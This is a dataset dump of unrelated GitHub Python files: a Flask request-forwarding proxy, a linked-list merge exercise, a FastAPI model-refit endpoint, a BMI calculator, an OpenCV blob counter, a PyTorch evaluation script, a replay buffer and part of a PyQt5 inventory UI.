unittest.main()\n","repo_name":"LMZimmer/Auto-PyTorch_refactor","sub_path":"test/test_datasets/test_tabular_dataset.py","file_name":"test_tabular_dataset.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70689418694","text":"import os\nfrom flask import Flask, Response\nimport requests\n\n\nurl = os.getenv('APP_REQUEST_URL')\nif url is None or len(url.strip()) == 0:\n raise Exception('APP_REQUEST_URL env is required')\nelif not url.lower().startswith('http://') and not url.lower().startswith('https://'):\n raise Exception(f'APP_REQUEST_URL should start with http:// or https://')\n\nheader_bearer_token = os.getenv('APP_REQUEST_BEARER_TOKEN', None)\nheader_bearer_token_path = os.getenv('APP_REQUEST_BEARER_TOKEN_PATH', None)\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef root():\n headers = {}\n if header_bearer_token_path is not None:\n if os.path.isfile(header_bearer_token_path):\n with open(header_bearer_token_path) as f:\n token = f.read()\n headers['Authorization'] = f'Bearer {token}'\n elif header_bearer_token is not None:\n headers['Authorization'] = f'Bearer {header_bearer_token}'\n\n r = requests.get(url, headers=headers)\n if r.ok:\n response = Response(r.text)\n response.headers['content-type'] = r.headers['content-type'] # same as the original reques\n response.headers['x-meta'] = 'status=ok' # extra information\n return response\n else:\n return Response(r.text, status=r.status_code)\n","repo_name":"dev-sareno/flask-mitm-http","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"45058757267","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n# faster than 99.58% of online submissions\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n l3 = ptr = ListNode(-1)\n while l1 or l2:\n if l1 and l2:\n if l1.val < l2.val:\n ptr.next = ListNode(l1.val)\n l1 = l1.next\n else:\n ptr.next = ListNode(l2.val)\n l2 = l2.next\n ptr = ptr.next\n else:\n if not l1:\n ptr.next = ListNode(l2.val)\n l2 = l2.next\n else:\n ptr.next = ListNode(l1.val)\n l1 = l1.next\n ptr = ptr.next\n return l3.next\n\n# first attempt — faster than 65 - 68 % of online submissions\n'''\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n ptr = l1; ptr2 = l2;\n if ptr.val < ptr2.val:\n a = ListNode(ptr.val)\n ptr = ptr.next\n else:\n a = ListNode(ptr2.val)\n ptr2 = ptr2.next\n ptr3 = a\n while ptr != None and ptr2 != None:\n if ptr.val < ptr2.val:\n ptr3.next = ListNode(ptr.val)\n ptr = ptr.next\n ptr3 = ptr3.next\n elif ptr.val > ptr2.val:\n ptr3.next = ListNode(ptr2.val)\n ptr2 = ptr2.next\n ptr3 = ptr3.next\n else:\n ptr3.next = ListNode(ptr.val);ptr3 = ptr3.next\n ptr3.next = ListNode(ptr.val);ptr3 = ptr3.next\n ptr = ptr.next; ptr2 = ptr2.next\n if ptr == None:\n while ptr2.next != None:\n ptr3.next = ListNode(ptr2.val)\n ptr2 = ptr2.next; ptr3 = ptr3.next\n else:\n while ptr.next != None:\n ptr3.next = ListNode(ptr.val)\n ptr = ptr.next; ptr3 = ptr3.next\n return a\n\n'''\n\na = [1,2,4]\nb = [1,3,4]\n\nl1 = ptr = ListNode(a[0])\nfor i in range(1,len(a)):\n ptr.next = ListNode(a[i])\n ptr = ptr.next\n\nl2 = ptr = ListNode(b[0])\nfor i in range(1,len(b)):\n ptr.next = ListNode(b[i])\n ptr = ptr.next\n\ns = Solution()\nprint(s.mergeTwoLists(l1,l2))\n","repo_name":"hamza3256/Coding-practice","sub_path":"Python/Other/mergeTwoLists.py","file_name":"mergeTwoLists.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73790081413","text":"from fastapi import FastAPI\nimport time\nfrom pydantic import BaseModel\nfrom pathlib import Path\nimport pickle\nfrom peewee import *\nimport os\nimport pandas as pd\nimport numpy as np\n\n\n__version__ = \"0.1.0\"\n\ndatabaseConnection = os.environ.get('DB_CONNECTION')\npg_db = PostgresqlDatabase(databaseConnection)\n\n\nclass BaseModel(Model):\n class Meta:\n database = pg_db\n\n\nclass Match(BaseModel):\n match_id = BigAutoField(column_name='MatchId')\n radiant_win = BooleanField(column_name='RadiantWin')\n start_time = BigIntegerField(column_name='StartTime')\n\n duration = IntegerField(column_name='Duration')\n radiant_team = TextField(column_name='RadiantTeam', null=False)\n dire_team = TextField(column_name='DireTeam', null=False)\n average_mmr = IntegerField(column_name='AverageMMR', null=True)\n\n class Meta:\n table_name = 'Matches'\n\n\napp = FastAPI()\n\n\n@app.get(\"/\")\ndef home():\n return {\"health_check\": \"OK\", \"model_version\": __version__}\n\n\n@app.get(\"/refit\")\ndef refit():\n unix_time_now = int(time.time())\n unix_time_yesterday = unix_time_now - 86400 # one unix timestamp day\n query = Match.select().where(Match.start_time > unix_time_yesterday).order_by(Match.match_id.desc())\n\n matches_selected = query.dicts().execute()\n\n df2 = pd.DataFrame([m.__dict__ for m in matches_selected ])\n\n BASE_DIR = Path(__file__).resolve(strict=True).parent\n\n with open(f\"{BASE_DIR}/model-{__version__}.pkl\", \"rb\") as f:\n model = pickle.load(f)\n\n logDf = df2.drop(columns=['RadiantTeam', 'DireTeam'])\n features = logDf.drop(columns=['RadiantWin'])\n labels = logDf['RadiantWin']\n logDf.head(5)\n\n features\n input_data = []\n for i, j in tqdm(features.iterrows()):\n arr1 = np.zeros(138*5)\n arr2 = np.zeros(138*5)\n for hero_ind in range(1, 6):\n arr1[138*(hero_ind-1) + int(j['RadiantHero%s' % hero_ind])] = 1\n arr2[138*(hero_ind-1) + int(j['DireHero%s' % hero_ind])] = 1\n concatenated_arr = np.concatenate([arr1, arr2])\n input_data += [concatenated_arr[:1500].astype(bool)]\n\n x = np.array(input_data)\n\n model.fit(x, labels, epoch=100)\n\n os.remove(f'{BASE_DIR}/model-{__version__}.pkl')\n pickle.dump(model, open(f'{BASE_DIR}/model-{__version__}.pkl', 'wb'))\n\n return {\"Done!\"}\n","repo_name":"dszharikov/diploma_spbu","sub_path":"src/MLSerializer/ml-serializer.py","file_name":"ml-serializer.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72328950212","text":"cor = {\n 'l': '\\033[m',\n 'blue_bold': '\\033[1;34m',\n 'cyan_bold': '\\033[1;36m',\n 'red_underline': '\\033[4;31m',\n 'red_bold': '\\033[1;31m',\n 'green_bold': '\\033[1;32m',\n 'yellow_bold': '\\033[1;33m'\n }\n\nprint('\\n{}ÍNDICE DE MASSA CORPORAL{}'.format(cor['blue_bold'], cor['l']))\n\npeso = float(input('\\n{}Qual seu peso em kg? '.format(cor['cyan_bold'])))\naltura = float(input('Qual sua altura em metros? '))\nimc = peso / (altura**2)\n\nprint('\\nSeu índice de massa corporal é {:.1f}'.format(imc))\n\nif imc < 18.5:\n print('{}Você está abaixo do peso.'.format(cor['yellow_bold']))\nelif (imc >= 18.5) and (imc < 25):\n print(\"{}Você está no peso ideal.\".format(cor['green_bold']))\nelif (imc >= 25) and (imc < 30):\n print('{}Você está em sobrepeso.'.format(cor['yellow_bold']))\n\nelif (imc >= 30) and (imc < 40):\n print('{}Você está com obesidade.'.format(cor['red_bold']))\nelif imc >= 40:\n print('{}Você está com obesidade morbida.'.format(cor['red_underline']))\n","repo_name":"da-ferreira/curso-em-video","sub_path":"Python/exercícios/ex043.py","file_name":"ex043.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10966275534","text":"import cv2, os\r\nimport numpy as np\r\n\r\n#Some Visual Studio Code bullshit because it cant find the image????\r\nos.chdir('C:\\Program Files\\Python\\projects\\Blob')\r\n\r\n#Get image input\r\norig_image = cv2.imread(\"real2.jpg\")\r\nimage = orig_image.copy()\r\n\r\n#Image Masking\r\n# Blur image to get rid of noise\r\nimage = cv2.GaussianBlur(image, (3, 3), cv2.BORDER_DEFAULT)\r\n# Convert to hue-saturation-value\r\nh, s, v = cv2.split(cv2.cvtColor(image, cv2.COLOR_BGR2HSV))\r\n# \"Roll\" the hue value so reds (which would otherwise be at 0 and 255) are in the middle instead.\r\n# This makes it easier to use `inRange` without needing to AND masks together.\r\nimage = cv2.merge(((h + 128) % 255, s, v))\r\n# Select the correct hues with saturated-enough, bright-enough colors.\r\nmasked_image = cv2.inRange(image, np.array([40, 128, 100]), np.array([140, 255, 255]))\r\n\r\n#Blob counter\r\nmask = np.zeros(masked_image.shape, dtype=np.uint8)\r\nthresh = cv2.threshold(masked_image,0,255,cv2.THRESH_OTSU + cv2.THRESH_BINARY)[1]\r\nkernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (7,7))\r\nopening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=5)\r\n\r\ncnts = cv2.findContours(opening, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\ncnts = cnts[0] if len(cnts) == 2 else cnts[1]\r\n\r\nblobs = 0\r\nfor c in cnts:\r\n area = cv2.contourArea(c)\r\n cv2.drawContours(mask, [c], -1, (36,255,12), -1)\r\n if area > 13000:\r\n blobs += 2\r\n else:\r\n blobs += 1\r\n\r\nprint('blobs:', blobs)\r\n\r\ncv2.imshow('image', orig_image)\r\n#cv2.imshow('Initial Masking', masked_image)\r\n#cv2.imshow('mask', mask)\r\n#cv2.imshow('thresh', thresh)\r\ncv2.imshow('opening', opening)\r\ncv2.waitKey()","repo_name":"subwayfootlong/SP-Leaning","sub_path":"blobcounter/working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31242920047","text":"import torch\nimport model\nimport dataset\nfrom torchvision.transforms import transforms\nfrom torch.utils.data import DataLoader\n\n#model path\nMODEL_FILE = 'CNN.pth'\nMODEL_STATE_FILE = 'CNN_state_dict.pth'\n\n#set device\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n#Make test dataset with transform included\ncomposed_transform = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize(mean = (0.5, 0.5, 0.5 ), std = (0.5, 0.5, 0.5))])\ntest_dataset = dataset.TestSet(transform = composed_transform)\ntest_loader = DataLoader(dataset = test_dataset, batch_size = 16, shuffle = False)\n\n#there are two ways to declare model\n#the second is recommended\n\n#(1)load the whole model\nmodel = torch.load(\"CNN.pth\")\n#(2)load model state dict\n'''\nmodel = model.CNN().to(device)\nmodel.load_state_dict(torch.load(\"CNN_state_dict.pth\"))\n'''\n\n#model.eval() will turn off dropout and batchnorms for evaluation\nmodel.eval()\n\n#Test the model\n#Note: In test case, we do not want to calculate the gradients\nwith torch.no_grad():\n n_correct = 0\n n_samples = 0\n #you can also use for i, (images, labels) in enumerate(test_loader):\n #but now we don't care batch imformation, simple use this\n for images, labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n output = model(images)\n #torch.max(tensor, dimention) will return [max tensor value, index] in a dimention of a tensor\n _, predicted = torch.max(output, 1)\n n_samples = n_samples + labels.shape[0]\n #Note (predicted == labels) is still a tensor with one element. We need to use item() to get a value\n #then we can compute divition\n n_correct = n_correct + (predicted == labels).sum().item()\n\nacc = n_correct / n_samples\nprint(f'test accuracy: {acc:.3f}')\n","repo_name":"ZachKLYeh/Pytorch-Basics","sub_path":"12_Save_and_Load_Models/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11810115166","text":"import numpy as np\nimport os\nfrom collections import namedtuple\nfrom typing import Union\nimport pickle\n\n# s{R, T_mask}, a{T, a}, r, s{R_new, T_mask_new}\nTransition = namedtuple('Transition', 'R_old T_mask a T reward R_new T_mask_new')\n\nclass Episode(object):\n def __init__(self):\n self.transitions = []\n\n def add(self, Transition):\n self.transitions.append(Transition)\n\n def compute_return(self, gamma):\n G = 0\n for t in self.transitions:\n G += t.reward*gamma\n return G\n\n def serialise_for_replay(self):\n pass\n\nclass ReplayBuffer(object):\n def __init__(self,\n max_size=int(1e5),\n random_state=np.random.RandomState\n ):\n self.max_size = max_size\n self.counter = 0\n self.current_index = 0\n # dictionary lookup is faster for large buffers\n self.storage = dict()\n self.rs = random_state\n\n def __len__(self):\n content = min(self.counter, self.max_size)\n return content\n\n def add(self, transition):\n self.current_index = self.current_index % self.max_size\n self.storage[self.current_index] = transition\n self.current_index += 1\n self.counter += 1\n\n def sample(self,\n batch_size):\n indices = self.rs.randint(0, self.__len__(), size=batch_size).tolist()\n\n # now gather things into a batch\n ls_trans = [self.storage[i] for i in indices]\n\n # now convert the batch into a transition object ( for convenience )\n retval = Transition(\n *[\n np.concatenate(\n [np.array(tr[i])[np.newaxis, :]\n if not np.isscalar(tr[i])\n else np.array(tr[i])[np.newaxis, np.newaxis]\n for tr in ls_trans], axis=0)\n for i in range(len(ls_trans[0]))\n ])\n\n return retval\n","repo_name":"wirmius/gym-PGFS-bias","sub_path":"gym_PGFS/rl/rlutils.py","file_name":"rlutils.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41056973382","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Estoque(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(1106, 859)\r\n MainWindow.setStyleSheet(\"*{\\n\"\r\n\" margin:0px;\\n\"\r\n\" border: 0px;\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setStyleSheet(\"*{\\n\"\r\n\" margin:0px;\\n\"\r\n\" border: 0px;\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.centralwidget)\r\n self.horizontalLayout.setSpacing(0)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.menu_animado = QtWidgets.QFrame(self.centralwidget)\r\n self.menu_animado.setMinimumSize(QtCore.QSize(0, 0))\r\n self.menu_animado.setMaximumSize(QtCore.QSize(0, 16777215))\r\n self.menu_animado.setStyleSheet(\"QWidget{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 15px;\\n\"\r\n\"}\")\r\n self.menu_animado.setObjectName(\"menu_animado\")\r\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.menu_animado)\r\n self.verticalLayout_2.setSizeConstraint(QtWidgets.QLayout.SetDefaultConstraint)\r\n self.verticalLayout_2.setContentsMargins(-1, -1, -1, 9)\r\n self.verticalLayout_2.setSpacing(9)\r\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\r\n spacerItem = QtWidgets.QSpacerItem(16, 27, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\r\n self.verticalLayout_2.addItem(spacerItem)\r\n self.btn_estoque = QtWidgets.QPushButton(self.menu_animado)\r\n self.btn_estoque.setMinimumSize(QtCore.QSize(0, 50))\r\n self.btn_estoque.setMaximumSize(QtCore.QSize(16777215, 50))\r\n self.btn_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.btn_estoque.setText(\"\")\r\n icon = QtGui.QIcon()\r\n icon.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/Produtos.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_estoque.setIcon(icon)\r\n self.btn_estoque.setIconSize(QtCore.QSize(58, 65))\r\n self.btn_estoque.setFlat(True)\r\n self.btn_estoque.setObjectName(\"btn_estoque\")\r\n self.verticalLayout_2.addWidget(self.btn_estoque)\r\n self.bnt_add_cliente = QtWidgets.QPushButton(self.menu_animado)\r\n self.bnt_add_cliente.setEnabled(True)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.bnt_add_cliente.sizePolicy().hasHeightForWidth())\r\n self.bnt_add_cliente.setSizePolicy(sizePolicy)\r\n self.bnt_add_cliente.setMinimumSize(QtCore.QSize(0, 50))\r\n self.bnt_add_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.bnt_add_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.bnt_add_cliente.setText(\"\")\r\n icon1 = QtGui.QIcon()\r\n icon1.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/add_users.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.bnt_add_cliente.setIcon(icon1)\r\n self.bnt_add_cliente.setIconSize(QtCore.QSize(70, 46))\r\n self.bnt_add_cliente.setFlat(True)\r\n self.bnt_add_cliente.setObjectName(\"bnt_add_cliente\")\r\n self.verticalLayout_2.addWidget(self.bnt_add_cliente)\r\n self.btn_pix = QtWidgets.QPushButton(self.menu_animado)\r\n self.btn_pix.setMinimumSize(QtCore.QSize(0, 50))\r\n self.btn_pix.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_pix.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.btn_pix.setText(\"\")\r\n icon2 = QtGui.QIcon()\r\n icon2.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/logo-pix-png-954x339.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_pix.setIcon(icon2)\r\n self.btn_pix.setIconSize(QtCore.QSize(97, 43))\r\n self.btn_pix.setFlat(True)\r\n self.btn_pix.setObjectName(\"btn_pix\")\r\n self.verticalLayout_2.addWidget(self.btn_pix)\r\n spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_2.addItem(spacerItem1)\r\n self.engrenagem = QtWidgets.QPushButton(self.menu_animado)\r\n self.engrenagem.setMinimumSize(QtCore.QSize(0, 50))\r\n self.engrenagem.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.engrenagem.setText(\"\")\r\n icon3 = QtGui.QIcon()\r\n icon3.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/engrenagem_ico.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.engrenagem.setIcon(icon3)\r\n self.engrenagem.setIconSize(QtCore.QSize(80, 44))\r\n self.engrenagem.setFlat(True)\r\n self.engrenagem.setObjectName(\"engrenagem\")\r\n self.verticalLayout_2.addWidget(self.engrenagem)\r\n self.horizontalLayout.addWidget(self.menu_animado)\r\n self.conteudo = QtWidgets.QWidget(self.centralwidget)\r\n self.conteudo.setStyleSheet(\"QWidget{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.conteudo.setObjectName(\"conteudo\")\r\n self.verticalLayout = QtWidgets.QVBoxLayout(self.conteudo)\r\n self.verticalLayout.setSpacing(0)\r\n self.verticalLayout.setObjectName(\"verticalLayout\")\r\n self.menu_superior = QtWidgets.QWidget(self.conteudo)\r\n self.menu_superior.setMinimumSize(QtCore.QSize(0, 77))\r\n self.menu_superior.setStyleSheet(\"QWidget{\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 17px;\\n\"\r\n\"}\")\r\n self.menu_superior.setObjectName(\"menu_superior\")\r\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.menu_superior)\r\n self.horizontalLayout_2.setSpacing(0)\r\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\r\n self.btn_menu = QtWidgets.QPushButton(self.menu_superior)\r\n self.btn_menu.setMaximumSize(QtCore.QSize(60, 80))\r\n self.btn_menu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_menu.setStyleSheet(\"background-color: rgb(37, 77, 122);\")\r\n self.btn_menu.setText(\"\")\r\n icon4 = QtGui.QIcon()\r\n icon4.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/menu_barra.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_menu.setIcon(icon4)\r\n self.btn_menu.setIconSize(QtCore.QSize(50, 55))\r\n self.btn_menu.setFlat(True)\r\n self.btn_menu.setObjectName(\"btn_menu\")\r\n self.horizontalLayout_2.addWidget(self.btn_menu)\r\n self.txt_bem_vindo = QtWidgets.QLineEdit(self.menu_superior)\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n font.setBold(False)\r\n font.setItalic(True)\r\n font.setWeight(50)\r\n font.setStrikeOut(False)\r\n font.setKerning(True)\r\n self.txt_bem_vindo.setFont(font)\r\n self.txt_bem_vindo.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor))\r\n self.txt_bem_vindo.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.txt_bem_vindo.setStyleSheet(\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border: none;\")\r\n self.txt_bem_vindo.setObjectName(\"txt_bem_vindo\")\r\n self.horizontalLayout_2.addWidget(self.txt_bem_vindo)\r\n self.btn_sair = QtWidgets.QPushButton(self.menu_superior)\r\n self.btn_sair.setMaximumSize(QtCore.QSize(60, 80))\r\n self.btn_sair.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_sair.setStyleSheet(\"background-color: rgb(37, 77, 122);\")\r\n self.btn_sair.setText(\"\")\r\n icon5 = QtGui.QIcon()\r\n icon5.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/sair.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_sair.setIcon(icon5)\r\n self.btn_sair.setIconSize(QtCore.QSize(79, 59))\r\n self.btn_sair.setFlat(True)\r\n self.btn_sair.setObjectName(\"btn_sair\")\r\n self.horizontalLayout_2.addWidget(self.btn_sair)\r\n self.verticalLayout.addWidget(self.menu_superior)\r\n self.stackedWidget = QtWidgets.QStackedWidget(self.conteudo)\r\n self.stackedWidget.setMinimumSize(QtCore.QSize(0, 43))\r\n self.stackedWidget.setObjectName(\"stackedWidget\")\r\n self.page_clientes = QtWidgets.QWidget()\r\n self.page_clientes.setObjectName(\"page_clientes\")\r\n self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.page_clientes)\r\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\r\n self.widget_6 = QtWidgets.QWidget(self.page_clientes)\r\n self.widget_6.setObjectName(\"widget_6\")\r\n self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.widget_6)\r\n self.verticalLayout_4.setContentsMargins(8, -1, -1, -1)\r\n self.verticalLayout_4.setSpacing(16)\r\n self.verticalLayout_4.setObjectName(\"verticalLayout_4\")\r\n self.txt_cadastrar = QtWidgets.QLabel(self.widget_6)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.txt_cadastrar.sizePolicy().hasHeightForWidth())\r\n self.txt_cadastrar.setSizePolicy(sizePolicy)\r\n font = QtGui.QFont()\r\n font.setPointSize(22)\r\n self.txt_cadastrar.setFont(font)\r\n self.txt_cadastrar.setStyleSheet(\"QLabel{\\n\"\r\n\" color: rgb(37, 77, 122) ; \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.txt_cadastrar.setObjectName(\"txt_cadastrar\")\r\n self.verticalLayout_4.addWidget(self.txt_cadastrar)\r\n self.widget_7 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_7.setMaximumSize(QtCore.QSize(16777215, 61))\r\n self.widget_7.setObjectName(\"widget_7\")\r\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.widget_7)\r\n self.horizontalLayout_4.setContentsMargins(0, 10, 0, -1)\r\n self.horizontalLayout_4.setSpacing(0)\r\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\r\n self.img_lupa_2 = QtWidgets.QLabel(self.widget_7)\r\n self.img_lupa_2.setMinimumSize(QtCore.QSize(51, 43))\r\n self.img_lupa_2.setMaximumSize(QtCore.QSize(51, 16777215))\r\n self.img_lupa_2.setStyleSheet(\"QLabel{\\n\"\r\n\" border: 3px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(37, 77, 122)\\n\"\r\n\"}\")\r\n self.img_lupa_2.setText(\"\")\r\n self.img_lupa_2.setPixmap(QtGui.QPixmap(\":/img/Nova pasta/lupa.png\"))\r\n self.img_lupa_2.setScaledContents(True)\r\n self.img_lupa_2.setWordWrap(False)\r\n self.img_lupa_2.setIndent(1)\r\n self.img_lupa_2.setObjectName(\"img_lupa_2\")\r\n self.horizontalLayout_4.addWidget(self.img_lupa_2)\r\n self.pesquisar_2 = QtWidgets.QLineEdit(self.widget_7)\r\n self.pesquisar_2.setMinimumSize(QtCore.QSize(0, 43))\r\n self.pesquisar_2.setMaximumSize(QtCore.QSize(282, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(14)\r\n font.setBold(False)\r\n font.setWeight(50)\r\n self.pesquisar_2.setFont(font)\r\n self.pesquisar_2.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"\")\r\n self.pesquisar_2.setObjectName(\"pesquisar_2\")\r\n self.horizontalLayout_4.addWidget(self.pesquisar_2)\r\n spacerItem2 = QtWidgets.QSpacerItem(422, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_4.addItem(spacerItem2)\r\n self.date_cliente = QtWidgets.QLineEdit(self.widget_7)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.date_cliente.sizePolicy().hasHeightForWidth())\r\n self.date_cliente.setSizePolicy(sizePolicy)\r\n self.date_cliente.setMaximumSize(QtCore.QSize(135, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(24)\r\n self.date_cliente.setFont(font)\r\n self.date_cliente.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.date_cliente.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.date_cliente.setStyleSheet(\"color:rgb(37, 77, 122);\")\r\n self.date_cliente.setFrame(True)\r\n self.date_cliente.setAlignment(QtCore.Qt.AlignCenter)\r\n self.date_cliente.setObjectName(\"date_cliente\")\r\n 